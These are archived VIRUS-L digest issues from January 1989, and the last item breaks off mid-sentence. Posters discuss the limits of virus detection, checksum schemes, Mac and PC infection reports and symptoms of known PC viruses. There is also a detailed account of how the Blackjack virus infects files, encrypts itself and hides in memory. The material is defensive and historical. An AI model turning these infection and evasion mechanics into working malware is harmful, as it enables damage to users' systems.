A "virus-hunter" can be viewed as a filter.  The user presents to the
filter a set of programs and asks it to separate out the programs that
have viruses from the ones that don't.  This is the same paradigm as
trying to sort out, say, bad ball bearings from a manufacturing
process using some sort of test, and there four classical outcomes.

1. A truly good part will be seen to be good.  [Translation, a
   virus-free program will be seen to be virus-free.]

2. A truly bad part will be seen to be bad.  [Translation, a program
   which contains a virus will be detected.]

3. A truly bad program appears to be good.  This is a "false
   acceptance," or in the lingo of statistics, a Type II error.
   [Translation, a program which contains a virus slips through the
   filter.]

4. A truly good program appears to be bad.  This is a "false
   rejection," or a Type I error.  [Translation, a program which is ok
   is rejected unfairly.]

Only a perfect test will have no false acceptances and no false
rejections.  Less than perfect tests must necessarily have some
combination of these errors.

Now the critical contribution from the world of statistics is that it
is almost always possible to trade off Type I for Type II errors.
Looking at only the Type I or only the Type II error rate doesn't tell
enough about the power of the test.  When comparing two different
tests, e.g. whether to use, say x-ray screening or a mechanical test
on ball bearings, one test is superior to another only if it yields
lower error rates for BOTH Type I and Type II errors.

How does this apply to virus hunting programs?  There are two ways a
virus hunting program can fail.  It can reject good programs or it can
pass bad programs.  So far as I can tell, virus hunting programs are
generally written with the implicit assumption that it is unacceptable
to reject a good program.  That is, they strive to have a very low
(ZERO?) false rejection rate.  As these tests are also less than
perfect, they necessarily have a significant false acceptance rate,
i.e. they fail to detect some programs that have viruses.

If the tolerance for false rejections were changed, i.e. if it became
acceptable to reject some programs which are really ok, then it is
entirely possible to build a virus hunter than cannot be circumvented.
At the extreme, rejecting EVERY program surely catches every virus,
but that throws the baby out with the bath water.  The interesting
question is how much better can we do?

As long as we are faced with imperfect tests, we will necessarily have
to live with non-zero error rates.  Nothing forces us to have these
errors be only false acceptances.  We can choose to have only false
rejections, if we wish.  [We can also choose to have a combination,
but let me ignore that in this note.]  Only when we apply some sort of
cost function can we choose appropriately.

Now, it might seem to readers of this forum that having a fail-safe
test would necessarily result in too many false rejections.  This is
indeed a relevant question, but I don't think any of us know what the
answer is.  It may well be possible to write a fail-safe virus hunter
that examines the innards of a candidate program to decide if it's ok,
and that most of the genuinely ok programs actually pass the test.

In the current world, where there are no ground rules for writing
programs to make them easy to examine, Stolz' principles indeed
characterize the situation for virus hunting programs that are not
permitted to reject good programs.  There are two ways to change the
game, however.

1. Permit virus hunting programs to declare a program "unsafe" if it
   cannot PROVE that there is no virus.

2. Set forth standards for programs to facilitate examination by this
   new class of virus hunters.

The first proposal, taken alone, may or may not be practical.  I do
not know how hard it is to write an acceptably accurate virus filter
that works on software prevalent today.  Some of my colleagues think
it is obviously too hard.  My own view is that it may well be easier
that it first seems to be.  In either case, I don't think there's
enough data, and I believe it would be worthwhile exploring the
question.

The latter proposal is much easier from a technical standpoint but
involves creation and promulgation of standards.  In the long run,
this may be the way we ultimately develop the means to trust the
software we depend on.

These ideas are taken from a paper Maria Pozzo and I have written, "A
Proposal for a Verification-Based Virus Filter," which is being
presented at the 1989 IEEE Symposium on Research in Security and
Privacy, Oakland, May 1-3.

The ideas expressed here are mine, and do not necessarily -- and in
some cases are known not to -- represent those of my colleagues, any
of our clients or sponsors, or the official position of Trusted
Information Systems.

Steve Crocker
Vice President
Trusted Information Systems

------------------------------

Date:         Sat, 21 Jan 89 16:18:08 +0200
From:         "Yuval Tal (972)-8-474592" <[e-mail]>
Subject:      Anti-virus programs

I have a few good PUBLIC DOMAIN programs that checks if you have a
virus on a disk or in yuour memory. it is also possible to tell the
program to check your disk every X time if your hard disk is infected
by a virus.  Some of you probly heard of them:

IMMUNE, UNVIRUS, VIRALARM, RUNTIME, BB-VIRUS, CHKVIRUS etc...

Who wants them can send me mail and i'll be happy to send them...

Yuval Tal ([e-mail])

------------------------------

Date:         Fri, 20 Jan 89 23:03:14 EST
From:         Neil Goldman <[e-mail]>
Subject:      RE: Otto's Rules

To put it another way, as Fred Cohen has said (i believe):

In general, it is impossible to detect viruses, but any particular
virus can be detected by a particular detection scheme.

I believe it is the ignorance of not only the general public, but also
computer professionals that compounds the perception that somewhere
out there exists a cure-all.  Everything WE CAN DO TO EDUCATE virus
inquirers of Otto's rules, the LESS the hysteria will continue.

- ----------------------------------------------------------------------
Neil A. Goldman                        [e-mail]

Replies, Concerns, Disagreements, and Flames expected.
Mastercard, Visa, and American Express not accepted.
Acknowledge-To: <NG44SPEL@MIAMIU>

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest              Monday, 23 Jan 1989         Volume 2 : Issue 22

Today's Topics:
re: PC Viruses

---------------------------------------------------------------------------

Date:        23 January 1989, 09:20:53 EST
From:        David M. Chess  <[e-mail]>
Subject:     re: PC Viruses

In VIRUS-L v2n20, Otto Stolz <[e-mail]> writes
a number of things, including:

> First Main Proposition of Virus Hunting: Every program designed to
> catch viruses can be circumvented by virus-writers who know its
> principles of operation.
>                           ...
>                                 The best option you have: To detect
> COM- and EXE-viruses, write your own program to compute some signature
> value from all bytes in a file and compare it with a value obtained
> earlier in the same way.  Lock away the source of your program and
> every hints on its algorithm in a safe place, and apply it regularly
> to every program file you use (including itself).

While I agree with pretty much everything -else- Otto writes, I think
these statements are perhaps a bit too strong.  Consider, for instance,
a modification-detection program that works using a nice long CRC
(at least 30 bits), and that uses a "user-selectable" polynomial
(for instance, the program might prompt the user for a long string
when it's first run, and use that to find an irreducible polynomial).
If the program and the database are kept on external media (in a floppy
in a locked desk drawer, for instance), and the polynomial key is
also external (in the user's head, or on that locked floppy), AND
the program is run only after cold-booting the maching from a trusted
IPL floppy (perhaps the same one again), so that the checking program,
key, and database are never in the machine at the same time as a virus,
I think I would claim that knowing all about the checking program,
including having the commented source code, would do the virus-writer
NO GOOD AT ALL in trying to defeat it (as long as the user's secret
key isn't known, of course).  That's just because it's not possible
to make a probably-undetected change to a dataset if you don't know
the polynomial used for detection (and if the CRC uses enough bits).

Objections?

DC
Watson Research

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Tuesday, 24 Jan 1989         Volume 2 : Issue 23

Today's Topics:
New Dirty Dozen listing!
FLU_SHOT PLUS 1.5  (PC)
What do we have here? (Mac)
Mac virus, part II
WordPerfect 4.2 and ping-pong virus (PC)
Known PC Viruses in the UK and their effects (longish)

---------------------------------------------------------------------------

Date: Mon, 23 Jan 89 13:04:53 -0800
From: Steve Clancy <[e-mail]>
Subject: New Dirty Dozen listing!

Some kind user just uploaded the latest issue (8D) of the Dirty Dozen
listing! Eric Newhouse (current author of the list) moved from
California, and appeared to have dropped out of sight for a time.
This latest issue gives his new address and BBS # as follows:

The Dirty Dozen List
c/o Eric Newhouse
40 Whitney Tavern Rd.
Weston, MA  02193

The Crest BBS @7
617-498-8448  1200/2400/9600 [HST]

I have not yet had time to call the BBS, but plan to soon.  I do have
the most recent list however, and would be more than happy to post it
via LISTSERV, if ANYONE can please tell me how to do this.  I have
been entirely unsuccessful at getting UUENCODE or UUDECODE sent
to me via LISTSERV, or any other files for that matter.  Can anyone
give me a simple, thumbnail sketch on how to accomplish this???

The list is also available on my BBS (phone #'s below).

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|   Steve Clancy                      |  WELLSPRING RBBS            |
|   Biomedical Library                |  714-856-7996  24 HRS       |
|   P.O. Box 19556                    |  300-9600 N,8,1             |
|   University of California, Irvine  |  714-856-5087  nites/wkends |
|   Irvine, CA  92713                 |  300-1200 N,8,1             |
|                                     |                             |
|   SLCLANCY@UCI                      |  "Are we having fun yet?"   |
|   [e-mail]         |                             |
|                                     |                             |
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

------------------------------

Date:     MON JAN 23, 1989 18.48.23 EST
From:     "David A. Bader" <DAB3@LEHIGH>
Subject:  FLU_SHOT PLUS 1.5  (PC)

I just received a copy of Ross Greenberg's FLU_SHOT PLUS now in release
1.5  (it was released on 1/15/89).  A lot of bugs and options have been
cleaned up.  Has anyone else out there had a chance to play with it
yet?
   -David Bader
    DAB3@LEHIGH

P.S. Please don't write to me specifically for a copy of the file.
I'll see what Ken has to say about putting on the LISTSERV at LEHIGH.

[Ed. David, bring a disk in, and we'll post it on the LISTSERV.
Thanks!]

------------------------------

Date:         Mon, 23 Jan 89 23:34:18 ECT
From:         "Kenneth J. Hoover" <[e-mail]>
Subject:      What do we have here? (Mac)

  Tonight, one of the print-room operators here came to me with a hard
drive that is exhibiting suspicious behavior.

  Here is what he gave me:

   1)  The system involved is a Macintosh with a hard disk.
   2)  All of the files on the drive (some 12-15 programs) which use the
       LaserWriter are incapable of printing.  this has been verified on
       LaserWriter plus and II/NTX models.
   3)  Error codes 28 and 02 are returned when they are returned at all.
   4)  The volume is supposedly locked (although he did not lock it) and this
       is hindering  the execution of Interferon 1.0 and Virus Detective.

  The user has had contact with bulletin boards, and also transfers
files to and from the macintosh computers here.

    And now, for my guess:

   This looks like something that is either interfering with the
Appletalk or printer ports; or a bug that looks for and messes up
PostScript printer commands/code in programs.

   Does anyone know what could be going on here?

Kenneth J. Hoover
UG Consultant, Public Terminal and Microcomputer Complex
SUNY-Binghamton
Binghamton, NY, USA

------------------------------

Date:         Mon, 23 Jan 89 23:56:38 ECT
From:         "Kenneth J. Hoover   " <[e-mail]>
Subject:      Mac virus, part II

    the user in the previous message just came to me and informed me that
after setting his system date back 20 days, the programs in question now
work, and the hard drive is now unlocked.

    Interferon v1.0 reports back clean when used.

   It appears the date of activation was 1/22/89.

Ken Hoover ([e-mail])

------------------------------

Date:         Tue, 24 Jan 89 14:02:23 IST
From:         "Eldad Salzmann ([phone]" <[e-mail]>
Subject:      WordPerfect 4.2 and ping-pong virus (PC)

Reply to Dirk Bode <unrzc6@derrze0> re my query.

Dirk:

Thanks a lot. Your letter to this forum following my query about WP
and viruses really described precisely the problem I was facing and
substantiated my suspicion.

I shall start from the end: I reformatted the hard disk and
re-installed WordPerfect from diskettes. Everything works now just
fine. As you probably remember, I couldn't load it from the HD -- it
kept looking for its main program on the diskette in drive A (well,
occasionally it looked also in drive B).

I *did* check the RAM with MEMMAP, and I *did* see some unidentified
chunk of 1700 bytes which no program claimed to own. I did that long
before you, Dirk, wrote I should check the memory, which really
confirmed what I suspected.

At the moment my friend's disk seems to work fine, but there is a new
problem: the hidden files turn out to be damaged somehow every couple
of days. I cannot think of any plausible explanation for that. Do
viruses damage the two hidden files of the disk, to the extent that
the affected disk is brought to a standstill after just running the
autoexec.bat file?  The remedy we found for this problem is just
performing SYS C: each time the case reappears.

Revenons a nos moutons (our "lamb" in this case is the ping pong virus
:) - Since we saw on screen a bouncing little ball, I attributed the
problems we had with WPerfect to the bouncing ping-pong virus. You,
Dirk, presented it under totally new light: you say there's a special
virus which only affects WP 4.2. Do you really think it's likely that
anyone would write such a program, and that this program *just*
happened to contaminate my friend's disk? That's what I would call
"odd". But then, there *are* oddities, lots of them...


Eldad Salzmann    <Eldad@TAUNIVM)

------------------------------

Date: 23 Jan 89 11:54:29 GMT (Mon)
From: Alan Jay <[e-mail]>
Subject: Known PC Viruses in the UK and their effects

The article below summarises the viruses which have been known to
affect IBM PCs and compatibles in the United Kingdom.  It is written
by Dr.  Alan Solomon ([e-mail]), the chairman of the IBM
PC User Group in the UK and appears in the February 1989 issue of
Connectivity, the newsletter of the User Group.

This article is (C) Copyright 1989 The IBM PC User Group (UK).
Permission is hereby granted to reproduce this article for non-profit
purposes, provided this notice is retained.

The Information Centre - PC Security by Dr Alan Solomon
- -------------------------------------------------------

PCs are intrinsically very insecure.  For many PCs, this might not
matter; who cares if someone finds out that the menu for tomorrow is
scrambled eggs?  But increasingly, PCs are being used for critical
applications, and either there is extremely important data on them, or
else it is very important that they continue to run.  Scrambled eggs
are fine - scrambled FAT is not.

Many people take backup for granted.  Obviously, backups are done on a
regular basis, but how do you know that you have something that is
restorable?  I'll be coming back to this in a subsequent article.  For
now, I want to update members on the virus front, because quite a lot
has happened, and much of what you read in the press is distorted by the
Chinese Whispers treatment.

Virus facts and fiction
- -----------------------

First, I have to say that the problems are very real.  You have probably
read in Computing that IBM has been infected by 1704 virus.  Secondly, I
must emphasise that viruses are still very, very rare on PCs, and many
problems reported as viruses, are t he same old problems we always had.
But they are getting commoner, and I am getting busier and busier in
dealing with outbreaks.

First, let me define some terms.  A virus is a self-replicating program,
that copies itself without the user realising that this is happening.  A
virus does not necessarily intend malicious damage.

The main damage is always, always done by people's reactions, not by the
viruses themselves.  There is one virus around that has code in it for
deleting files, and other viruses have unfortunate side-effects.  But
the main damage is usually done by someone panicking, and doing
something extremely silly, because they don't know what is the correct
procedure.

Viruses - what's out there?
===========================

Next - a list of the viruses that I know of so far, plus how to
recognise them, and the intentional and unintentional damage done.
Please remember, though, that most of these viruses have more than one
variant, and it would be possible to write a virus that mimicked the
action of an existing virus.  So you mustn't assume that just because
your symptoms match those given below, that you have the exact same
virus.  Also, the information given below is only a summary of all the
information available, so please don't treat it as a full manual.

Stoned.  Every 32nd boot-up, you see ``Your computer is now stoned.''
The boot sectors of infected diskettes are obviously abnormal, and
include that message.  No intentional damage.  Unintentional damage -
trashes 1.2 Mb floppies if they have more than 32 files, trashes about
5% of hard disks.

Brain.  You see (c) Brain as a volume label on diskettes, and diskettes
have 3k of bad sectors (the normal numbers are none at all, or 5k, or
sometimes more).  No known intentional damage.  Unintentional damage -
it slows down diskette accesses and causes time-outs, which can make
some diskette drives unusable.

Italian.  Once every half hour, if you are accessing the disk, the
bouncing dot is triggered.  The dot bounces off the edges of the screen,
and passes through any text, with replacement after it.  Sometime, this
doesn't work properly, and screen displays are messed up.  Infected
diskettes have 1k in bad sectors, infected hard disks have 2k (and other
numbers of bad sectors are possible).  No known intentional damage.
Unintentional damage - the two copies of the FAT are left different; DOS
might not like this.  Attempts to infect diskettes slows them down, and
some computers won't read floppies, due to time-outs.

1813 virus.  Files grow by 1813 bytes (sometimes 1808), without changing
their date and time or read/write/ hidden attributes.  COMMAND.COM does
not grow, to help it avoid detection.  Many anti-virus products do
little more than watch COMMAND.COM.  Intentional damage - there is code
in the virus for deleting each program that you run on every Friday
13th.  Half an hour after the virus installs into memory, the computers
slows down - a 4.77Mhz PC runs at about 1/5 normal speed.  A small black
window opens temporarily in the bottom left hand corner.  Unintentional
damage - .COM files grow once, taking up slightly more space.
Also, .EXE files grow each time they are infected, and eventually will
not load.

648 virus.  .COM files grow by 648 bytes, without changing date/time or
attributes.  Intentional damage - one infected file in eight (at random)
is changed in such a way that the program will not run.  No known
unintentional damage.

1701 virus.  Files grow by 1701 bytes.  This is a third generation virus
- - the code is encrypted, to fool programs that search for viruses
automatically, looking for code that is characteristic of viruses.  This
also meant that disassembling it took a bit longer than usual, but I've
now finished the disassembly.  Occasionally, 1701 triggers a
``hailstorm''.  The characters on the screen behave as if the were
pinned to the screen, and someone is removing the pins one at a time -
it looks a bit like a hailstorm, and has suitable sound effects.  In
fact, it is a purely audio-visual effect - nothing is happening to your
data.  But most people seeing it, would be so alarmed that they would
reach for the off switch, and switching a computer off in the middle of
processing a database can cause big problems.  IBM got infected recently
by 1704 virus, which I believe is a slightly different version of 1701.
They sent a letter to all customers that could conceivably have been
infected - a very responsible thing to do.

As you can see, there are an increasing number of viruses, and an
increasing number of people affected.

If you see any of these symptoms, you should do three things.

1. DON'T PANIC.  That does more damage than anything else.  Don't just
start deleting and formatting - at least keep a specimen so that I can
disassemble it.  The flame thrower approach tends to destroy the
evidence of how it got in (which could help the unfortunate person that
inadvertently gave it to you) and without even fixing the problem.
Don't let anyone else panic, either.

2. Make sure that everyone who knows about it, is told to keep their
mouths shut.  The press are desperately keen to find a big company that
has been struck, and will have a field day.  An immense amount of damage
could be done to the company's name . If the company decides to tell the
world, that's fine and noble, but the decision must be made at the
highest possible level.

3. Seek expert advice.  Do not attempt to deal with it yourself -
unless you have already dealt with several cases before, a virus is
outside your experience.  In particular, the virus MUST be disassembled
- - otherwise it could have many surprises.

One of the biggest problems is in dealing with the diskettes.  Every PC
is accompanied by a vast cloud of diskettes, and at least some of these
must be infected.  Usually, less than 1% are infected (although in the
case of a boot sector virus such as Brain, Italian or Stoned, anything
up to 5% of diskettes could be infected before the virus is spotted),
but the problem is to find them.  If you leave even one infected
diskette - well, it was almost certainly just one diskette that brought
the problem in.  My approach is to use a hopper-fed machine that can
check 700 floppy diskettes per hour; the main alternative is to train
sufficient operators to do it manually.

How you treat infected disks and diskettes depends on the virus, and its
modus operandi.  I haven't yet seen a situation where it was necessary
for anyone to lose any data, although the flame- thrower approach
certainly can do damage.

As if this wasn't bad enough, there are now a few more problems that I'm
trying to fight.  The first is too late - one magazine has published
about 55% of the Italian virus, together with a useful plethora of
technical information about how it works.  I won't tell you which
magazine, as I don't want things to get any worse, but many members will
have seen the article, and I would suggest that you write to the editor
to express your own opinions on the subject.

The next problem is that a magazine has quoted someone as saying that he
could write a virus that ``could put a software house out of business
overnight''.  I don't think that the magazine should have used that
quote, and I hope that it doesn't give people ideas.

But the third problem is the worst.  I have a firm rule about never
giving copies of a virus ``for experimental and research purposes'' to
anyone (except, of course, if a company already has the virus then it
doesn't matter).  One could argue that this is tantamount to
suppression of useful information (and this has been suggested to me).
But obviously one should only give a virus to a responsible, technically
capable person, and I'm frankly not very good at assessing this over the
phone - I get many calls asking for viruses.  So, since I can't be sure
that the person asking is a suitable candidate, I have so far always
refused.  If a bona fide government department were to approach me, I
would probably feel different, but that hasn't happened.

One of the people who felt differently on this point, has obtained
copies of Brain and Italian.  He has said that he will give copies to
anyone responsible person who asks him, for research purposes.  I don't
know how he will decide, but I hope and pray that he is better at
judging character that I believe possible, and able to detect a
plausible liar.  He says that he is acting from the highest, noblest
motive - freedom of information.  I used to believe in freedom of
information myself, so I can almost understand him.  But I profoundly
disagree with what he's doing, as the easiest way to write a virus, is
to disassemble someone else's, and change it to do what you want.

How to learn more
- -----------------

The best way to keep up to date with virus developments is on Connect
(01-863 6646 - 1200, N, 8, 1).  There are a number of conferences
devoted to viruses.  This article was posted to Connect in conference
connect.virus on January 10th and I will be posting further updates to
this list of known viruses with their symptoms and effects as soon as I
have details.

One thing I have done is write a program for testing anti-virus
products.  This uses a few different methods for writing to the boot
sector of floppy diskettes - TESTVACC is quite harmless, of course, but
it is doing something that many viruses do.  Many anti-virus products
claim to be able to detect and/or prevent this sort of thing, so you
install your anti-virus program, and then run TESTVACC.  TESTVACC tries
to write a simple message to the boot sector of the floppy disk, using
four different methods, any of which could be used by a virus.

I've tried several well-known anti-virus products, and although it
detected the first two methods of writing to the boot sector, it didn't
notice the third or fourth method.  You can inspect the boot sector
afterwards, using whatever disk sector editor you like, and draw your
own conclusions.  I'm making TESTVACC shareware, so it is available from
the User Group Library.

Also we hope to run a special series of workshops on viruses in the near
future.  If you would like to take part then please write to me at the
User Group.  This workshop will look at ways of reducing the risk of
infection, what to do if you think you are infected and in the event of
infection how to disinfect your systems.

Submitted by: Alan Jay ([e-mail]), Editor, Connectivity,
              the newsletter of The IBM PC User Group, UK.
- --
Alan Jay @ The IBM PC User Group, PO Box 360, Harrow HA1 4LQ ENGLAND
Phone:  [phone]                        Email:  [e-mail]
Path:   ...!ukc!pyrltd!slxsys!ibmpcug!alanj     Fax: [phone]
Disclaimer: All statements made in good faith for information only.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest             Tuesday, 24 Jan 1989         Volume 2 : Issue 24

Today's Topics:
Ken Hoover's Sick Mac
Features of Blackjack Virus (PC)
Checksum programs and Otto's principles
Mac problems part III

---------------------------------------------------------------------------

Date:         Tue, 24 Jan 89 10:22:22 EST
From:         Joe McMahon <[e-mail]>
Subject:      Ken Hoover's Sick Mac

First, you MUST get a more recent version of Interferon. I can't
stress this enough. Version 1.0 is *full* of holes, and two out of the
5 known viruses didn't even exist when it was written.

I will send you the most recent copies I have of both Virus RX and
Interferon. Please rerun the tests and let me know if the problem is
trapped by these newer versions.

Note to all Mac disinfectors: It is IMPERATIVE that you stay up to
date on anti-viral software. The virus writers ARE getting copies of
the programs, and they ARE trying to write around them.

 --- Joe M.

------------------------------

Date:    24 January 89, 17:25:02 +0100 (MEZ)
From:    Otto Stolz <[e-mail]>
Subject: Features of Blackjack Virus (PC)

Hello,

perhaps you remember the virus incident I reported on this list, on 2
September 88, 14:44:40 +0200 (MESZ).  This note is intended to present
some of the results and insights I gained since.  Most of the facts
presented here have not been detected by myself; rather I have to
thank several people in the local area, and several VIRUS-L
subscribers, for their hints and contributions.

This virus has been termed "Blackjack", which is a pun on the German
name "17+4" of the popular card game.  Blackjack reveals its existence
by the length of infected COM-files, which is 1704 Bytes too large.

As with the Israeli virus strains, the virus has a two-stage
life-cycle:

- - when you invoke an infected program, Blackjack will infect RAM;

- - when Blackjack is active in RAM, it will infect every COM file being
  invoked.  This can be exploited for an easy test, e.g.:
     copy con: test.com
     {ALT-144} {ALT-205} {Blank} {CTRL-z} {return}
     dir test.com
     test
     dir test.com
  In the second line above, every brace-pair represents one byte entered;
  if you key in these bytes correctly, you'll read a Capital Letter E
  with Acute Accent, a Horizontal Double-Line Segment, a Blank, a Circum-
  flex Accent, and a Capital Letter Z.  The 1st dir-command, above,
  should report that
  TEST.COM is 3 bytes long; if the 2nd dir reports 1707 bytes, instead,
  your RAM, and hence the TEST.COM file, are infected by some virus--most
  probably Blackjack.

Blackjack infects only COM-files which are at least 3 Bytes long, and
it does so only once for any given file.  It overwrites the 1st three
bytes with a JMP to the beginning of the viral code, which is appended
to the file.  The 2 byte address of this JMP instruction is probably
the reason why only COM files are susceptible to infection.  Blackjack
retains the file's time stamp.  It even infects read-only files; on
write-protected floppy disks, it attempts writing 5 times per file,
thus revealing its activity.

In the infected file, the viral code is cryptographically encoded,
using a simple Vigenere code depending on the length of the file; only
the instructions for decoding the encrypted part of the code are in
plain machine-language.  This is obviously intended as a impediment
against disassembling.  Hence, every copy of the virus looks different
(depending on the length of the file).

On invocation of an infected program, Blackjack installs itself in RAM
(if no copy is already installed), then replaces the JMP instruction
with its former contents and resumes normal program operation.

The storage map shows that Blackjack has tinkered with the free
storage pointer-chain to hide the fact that it has hooked interrupt
21.  Hence, only a minor part of Blackjack is visible in the storage
map.

In every year, from October to December, Blackjack will interfere with
CGA or EGA operated screens, moving randomly chosen characters down,
like falling leaves in autumn.  After a while, you'll have a big heap
of characters at the bottom of your screen, and as you cannot see
anymore what the computer is trying to display, you'll probably have
to restart the system.  This behaviour has been predicted by two
people, who have disassembled Blackjack, and has later been observed
on many EGA-equipped ATs.

Together with two students, I have written a VIRCHECK program to check
for Blackjack in RAM and in disk files.  VIRCHECK exploits the
signaling device Blackjack uses to ensure at most one active copy to
detect Blackjack in RAM; it searches the files for the few
instructions which are alike in every copy, to detect infected files.
At our consultant desk, everybody can obtain a copy of VIRCHECK
(Pascal source, and EXE-file), plus a 16 kByte memo (in German) and
the 3 Byte TEST.COM (cf. above).

An employee of a nearby software-house, who has detected Blackjack, in
the 1st time, has circulated a DELVIRUS program to detect Blackjack
and, optionally, repair infected files (taking the original contents
of the 1st three bytes from the viral code meant to replace them, as
explained above.  As the DELVIRUS's source is not available to the
public (nor to myself), we do not distribute this program (nor
recommend its use).

That's it, folks.  I hope I didn't bore you.
             Otto

[Ed. Thanks for the detailed description, Otto!]

------------------------------

Date:        Tue,  24 Jan 89 18:42:12 +0200
From:        Y. Radai <[e-mail]>
Subject:     Checksum programs and Otto's principles

  David Chess writes:
>                                              Consider, for instance,
>a modification-detection program that works using a nice long CRC
>(at least 30 bits), and that uses a "user-selectable" polynomial
>(for instance, the program might prompt the user for a long string
>when it's first run, and use that to find an irreducible polynomial).
>...
>I think I would claim that knowing all about the checking program,
>including having the commented source code, would do the virus-writer
>NO GOOD AT ALL in trying to defeat it (as long as the user's secret
>key isn't known, of course).  ...

>Objections?

  Yes, I have objections.  Even assuming a program which is based on a
user-selected or randomly selected polynomial (and many checksum
programs are not based on this), the problem with the great majority
of such programs is that the authors seem to think that it's suffi-
cient to checksum every file and that the only danger is that someone
might discover the generating polynomial or secret key or by other
means succeed in forging a checksum.  That's *not* the only danger.
The main danger is that there are "loopholes" in OSs, particularly in
DOS, which can be exploited to circumvent the checksum scheme, and
it's *much* simpler to exploit such a loophole (if you can think of
one) than to forge a checksum.  (The most trivial example of a loop-
hole is forgetting that the boot sector contains executable code and
therefore thinking that checksumming can be restricted to files
alone.)  Altogether, I know of 6 loopholes.

  Now of the 7 freeware checksum programs which which I am familiar,
not a single one takes these loopholes into consideration, and that
includes the one published by Fred Cohen in the April 88 issue of
Computers & Security.  As for commercial programs, there is one,
VirAlarm (an Israeli product, not to be confused with Lasertrieve's
product having the same name), which presently takes into account 5 of
the 6 loopholes.  (Since I have mentioned the 6th one to the authors,
it will undoubtedly be incorporated into their next version.)  Unfor-
tunately I am not familiar with any other commercial products, so I
can't say whether any of them block these loopholes as well, but I'd
be willing to bet that none of them blocks more than 4 of the loop-
holes, and the great majority not more than two of them.

  In a VIRUS-L posting of mine in September I mentioned that I was
preparing a paper on checksum programs as an anti-viral measure, in
which these loopholes would be described.  I much too optimistically
stated that the paper would be ready in a few weeks.  Unfortunately,
the project has taken much more time than I thought (it's already
about 700 lines long) and I have lots of other work to do, so it
probably won't be ready for another month or two.  I take this oppor-
tunity to apologize to those who wrote to me asking for information
concerning these loopholes.  (BTW, the question arises whether by pub-
lishing these loopholes I wouldn't be doing more service to the cre-
ators of viruses, some of whom are possibly on this list, than to the
writers of anti-virus software.  Anyone got any advice on this?)

  In any case, I do not agree with David's implication that the "First
Main Proposition of Virus Hunting" which was stated by Otto Stolz is
too strong, at least not because of the reasoning which David has
given.  For just as I discovered an unblocked loophole in VirAlarm by
knowing how it works, so some virus creator might discover a new one
even in a checksum program which blocks all presently known loopholes.

  By the way, as has been implied by some contributors, the
propositions mentioned by Otto were stated much earlier by Fred Cohen.
In Computers & Security, V6, N6, p. 30 they appear in the following
words: "any particular virus can be detected by a particular detection
scheme" and "any particular detection scheme can be circumvented by a
particular virus", or more compactly, "no infection can exist that
cannot be detected, and no mechanism can exist that cannot be
infected."

                                           Y. Radai
                                           Hebrew Univ. of Jerusalem

  P.S.  The offer by Yuval Tal in V2 #21 to send VirAlarm to anyone
who requests it was completely irresponsible since it is a commercial
product.

[Ed. Thank you for bringing that to our attention.]

------------------------------

Date:         Tue, 24 Jan 89 20:18:59 ECT
From:         Ken Hoover <[e-mail]>
Subject:      Mac problems part III

  I was pleased to find a response to my message of less than 24 hours
ago sitting in my mailbox.  Scott (@DUVM) was quick enough to notice
that the locked disk was the instigator of my printer troubles.
However, there's more to report.

  Rather than send a third essage on the same subject to this list, I
worked with the user in question for a few minutes.  As I noted in the
second (shorter) message, by setting the system date back 20 days or
so, the disk mysteriously unlocked itself and we were able to print
(only) one document (from MacWrite) before the bomb returned with
error code 28.

  Stupid me forgot to look and see if the disk had re-locked itself.

  I'm less worried about the printing problem than I am about the
possibility that we have some sort of mac disk-locking bug.  I'm going
to get back to that user as soon as I can to see what (if anything)
has happened in the last 24 hours.

Kenneth J. Hoover
UG Consultant, Public Terminal and Microcomputer Complex
SUNY-Binghamton  (Binghamton, NY, USA)

Disclaimer : These are my opinions.  I'm not paid enough to represent
             my employers'.

------------------------------

End of VIRUS-L Digest
*********************VIRUS-L Digest            Wednesday, 25 Jan 1989        Volume 2 : Issue 25

Today's Topics:
Clarification on "Otto's principles"
re: Checksum programs and Otto's principles
Request for definition of worms and trojan horses.
Friday the 13th worm at Digital Equipment Corp.

---------------------------------------------------------------------------

Date:        25 January 89, 12:01:07 MEZ
From:        Otto Stolz    <[e-mail]>
Subject:     Clarification on "Otto's principles"

Yisrael Radai writes:
> the propositions mentioned by Otto were stated much earlier

These propositions were never meant to be an original statement of
mine.  Rather, I sent an answer to somebody having posted a
virus-related question in the LIAISON list, and I thought this would
be intersting to VIRUS-L subscribers, as an example how to present
basic ideas to "the public".

Regrettably, I was not aware that the message-header (which would have
revealed my intention) was bound to be stripped off during VIRUS-L's
digesting process.  Hence, in similar cases, I'll have to prepare a
separate copy of my note for VIRUS-L to include a suitable
introductory statement.

Otto

------------------------------

Date: 25 January 1989, 09:26:57 EST
From: David M. Chess <[e-mail]>
Subject:  re: Checksum programs and Otto's principles

Y. Radai's reply to me in v2n24 is largely well-taken.  I didn't mean
to imply that the scheme I described was itself a perfect virus
defense, although it probably sounded that way.  All I meant to
suggest by the example is that there is *some* hope for anti-virus
schemes in which it will do the virus writer little or no good to have
the source of the anti-virus program, and that it will therefore not
forever be the case that anti-virus efforts must depend on the
ignorance of the virus authors.

Radai, if you're going to tell us about the "loopholes" anyway, why
not just list them here, to give us something to think about while we
await the finished paper?  (I have no particular advice about whether
or not to reveal them, although I think it's unlikely that a decision
by you not to talk about them would do much to keep the virus writers
from discovering them!)

On "no mechanism can exist that cannot be infected": again, I think
that's too strong ("never say never...").  A virus would have a hard
time infecting a progra stored in ROM, for instance: if the ROM was
clean when burned (and it's certainly possible to verify that), it'll
stay that way, no?

In general, of course, it's a good idea to think about ways that a
virus author could get around any particular anti-virus scheme.  But I
don't think we'll *necessarily* see an unending escalation.

DC

------------------------------

Date:     Wed, 25 Jan 89 11:35 EST
From:     Cincinnati Bengals. <[e-mail]>
Subject:  Request for definition of worms and trojan horses.

     Could anyone give me a definition of what a trojan horse and a
worm is, and what makes these different from viruses?

Thanks

Tom Kummer

------------------------------

Date: Wed, 25 Jan 89 14:40:34 est
From: ubu![e-mail]
Subject: Friday the 13th worm at Digital Equipment Corp.

>From Digital News, January 23, 1989 issue (author Stephen Lawton):

"A late-night, Friday-the-13th worm that entered Digital Equipment
Corp.'s internal Easynet network in Maynard, Mass., earlier this month
bit off more than it could chew.  A systems manager spotted the
